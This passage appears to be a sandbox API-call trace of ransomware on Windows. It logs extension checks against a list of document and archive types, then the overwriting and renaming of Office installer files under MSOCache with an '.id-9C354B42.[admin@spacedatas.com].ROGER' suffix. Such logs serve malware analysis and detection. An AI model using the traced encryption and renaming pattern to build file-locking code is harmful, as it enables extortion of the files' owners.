77 [0048.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.365] lstrlenW (lpString=".doc") returned 4 [0048.365] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.365] lstrlenW (lpString=".docx") returned 5 [0048.365] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.365] lstrlenW (lpString=".pdf") returned 4 [0048.365] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.365] lstrlenW (lpString=".xls") returned 4 [0048.365] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.365] lstrlenW (lpString=".xlsx") returned 5 [0048.365] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.365] lstrlenW (lpString=".ppt") returned 4 [0048.365] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.365] lstrlenW (lpString=".zip") returned 4 [0048.365] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.365] lstrlenW (lpString=".rar") returned 4 [0048.366] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.366] lstrlenW (lpString=".bz2") returned 4 [0048.366] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.366] lstrlenW (lpString=".7z") returned 3 [0048.366] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.366] lstrlenW (lpString=".dbf") returned 4 [0048.366] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.366] lstrlenW (lpString=".1cd") returned 4 [0048.366] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.366] lstrlenW (lpString=".jpg") returned 4 [0048.366] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.366] lstrlenW (lpString=".doc") returned 4 [0048.366] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.366] lstrlenW (lpString=".docx") returned 5 [0048.366] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.366] lstrlenW (lpString=".pdf") returned 4 [0048.366] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.366] lstrlenW (lpString=".xls") returned 4 [0048.366] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.366] lstrlenW (lpString=".xlsx") returned 5 [0048.366] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.366] lstrlenW (lpString=".ppt") returned 4 [0048.366] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.366] lstrlenW (lpString=".zip") returned 4 [0048.366] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.367] lstrlenW (lpString=".rar") returned 4 [0048.367] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.367] lstrlenW (lpString=".bz2") returned 4 [0048.367] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.367] lstrlenW (lpString=".7z") returned 3 [0048.367] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.367] lstrlenW (lpString=".dbf") returned 4 [0048.367] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.367] lstrlenW (lpString=".1cd") returned 4 [0048.367] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0048.367] lstrlenW (lpString=".jpg") returned 4 [0048.367] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.367] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0048.367] lstrlenW (lpString="setup.exe") returned 9 [0048.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0049.090] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=1377656) returned 1 [0049.090] CloseHandle (hObject=0x340) returned 1 [0049.090] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0049.090] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0049.091] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.091] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.091] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.522] GetLastError () returned 0x0 [0049.522] ReadFile (in: hFile=0x340, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0049.547] WriteFile (in: hFile=0x36c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0049.775] ReadFile (in: hFile=0x340, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x50588, lpOverlapped=0x0) returned 1 [0049.787] WriteFile (in: hFile=0x36c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0049.796] ReadFile (in: hFile=0x340, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.796] WriteFile (in: hFile=0x36c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.796] SetEndOfFile (hFile=0x36c) returned 1 [0049.796] CloseHandle (hObject=0x36c) returned 1 [0049.796] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.796] SetEndOfFile (hFile=0x340) returned 1 [0049.800] CloseHandle (hObject=0x340) returned 1 [0049.800] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0049.800] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0049.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.800] lstrlenW (lpString=".doc") returned 4 [0049.800] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.800] lstrlenW (lpString=".docx") returned 5 [0049.800] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.800] lstrlenW (lpString=".pdf") returned 4 [0049.800] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.800] lstrlenW (lpString=".xls") returned 4 [0049.800] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.800] lstrlenW (lpString=".xlsx") returned 5 [0049.801] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.801] lstrlenW (lpString=".ppt") returned 4 [0049.801] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.801] lstrlenW (lpString=".zip") returned 4 [0049.801] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.801] lstrlenW (lpString=".rar") returned 4 [0049.801] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.801] lstrlenW (lpString=".bz2") returned 4 [0049.801] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.801] lstrlenW (lpString=".7z") returned 3 [0049.801] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.801] lstrlenW (lpString=".dbf") returned 4 [0049.801] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.801] lstrlenW (lpString=".1cd") returned 4 [0049.801] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.801] lstrlenW (lpString=".jpg") returned 4 [0049.801] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.801] lstrlenW (lpString=".doc") returned 4 [0049.801] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.801] lstrlenW (lpString=".docx") returned 5 [0049.801] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.801] lstrlenW (lpString=".pdf") returned 4 [0049.801] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.801] lstrlenW (lpString=".xls") returned 4 [0049.801] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.802] lstrlenW (lpString=".xlsx") returned 5 [0049.802] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.802] lstrlenW (lpString=".ppt") returned 4 [0049.802] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.802] lstrlenW (lpString=".zip") returned 4 [0049.802] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.802] lstrlenW (lpString=".rar") returned 4 [0049.802] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.802] lstrlenW (lpString=".bz2") returned 4 [0049.802] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.802] lstrlenW (lpString=".7z") returned 3 [0049.802] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.802] lstrlenW (lpString=".dbf") returned 4 [0049.802] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.802] lstrlenW (lpString=".1cd") returned 4 [0049.802] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.802] lstrlenW (lpString=".jpg") returned 4 [0049.802] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.802] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0049.802] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0049.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.971] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=10798080) returned 1 [0050.971] CloseHandle (hObject=0x340) returned 1 [0050.971] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0050.971] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.046] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0051.055] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.055] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.055] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.055] ReadFile (in: hFile=0x340, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.059] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.060] ReadFile (in: hFile=0x340, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.064] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.064] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.064] ReadFile (in: hFile=0x340, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.088] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.088] WriteFile (in: hFile=0x340, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0051.315] SetEndOfFile (hFile=0x340) returned 1 [0051.315] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0051.318] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.318] WriteFile (in: hFile=0x340, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.319] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.319] WriteFile (in: hFile=0x340, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.321] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.321] WriteFile (in: hFile=0x340, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.325] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0051.325] CloseHandle (hObject=0x340) returned 1 [0051.325] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0051.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.325] lstrlenW (lpString=".doc") returned 4 [0051.325] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.325] lstrlenW (lpString=".docx") returned 5 [0051.325] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0051.325] lstrlenW (lpString=".pdf") returned 4 [0051.325] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.325] lstrlenW (lpString=".xls") returned 4 [0051.326] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.326] lstrlenW (lpString=".xlsx") returned 5 [0051.326] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0051.326] lstrlenW (lpString=".ppt") returned 4 [0051.326] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.326] lstrlenW (lpString=".zip") returned 4 [0051.326] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.326] lstrlenW (lpString=".rar") returned 4 [0051.326] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.326] lstrlenW (lpString=".bz2") returned 4 [0051.326] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.326] lstrlenW (lpString=".7z") returned 3 [0051.326] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.326] lstrlenW (lpString=".dbf") returned 4 [0051.326] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.326] lstrlenW (lpString=".1cd") returned 4 [0051.326] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.326] lstrlenW (lpString=".jpg") returned 4 [0051.326] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.326] lstrlenW (lpString=".doc") returned 4 [0051.326] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.326] lstrlenW (lpString=".docx") returned 5 [0051.326] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0051.326] lstrlenW (lpString=".pdf") returned 4 [0051.326] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.326] lstrlenW (lpString=".xls") returned 4 [0051.326] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.326] lstrlenW (lpString=".xlsx") returned 5 [0051.326] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0051.326] lstrlenW (lpString=".ppt") returned 4 [0051.326] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.326] lstrlenW (lpString=".zip") returned 4 [0051.326] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.327] lstrlenW (lpString=".rar") returned 4 [0051.327] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.327] lstrlenW (lpString=".bz2") returned 4 [0051.327] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.327] lstrlenW (lpString=".7z") returned 3 [0051.327] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.327] lstrlenW (lpString=".dbf") returned 4 [0051.327] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.327] lstrlenW (lpString=".1cd") returned 4 [0051.327] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.327] lstrlenW (lpString=".jpg") returned 4 [0051.327] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.327] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0051.327] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0051.327] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.327] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=162970271) returned 1 [0051.327] CloseHandle (hObject=0x340) returned 1 [0051.327] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0051.328] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.328] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0051.329] CreateFileW (lpFileName="C:\\MSOCache\\All 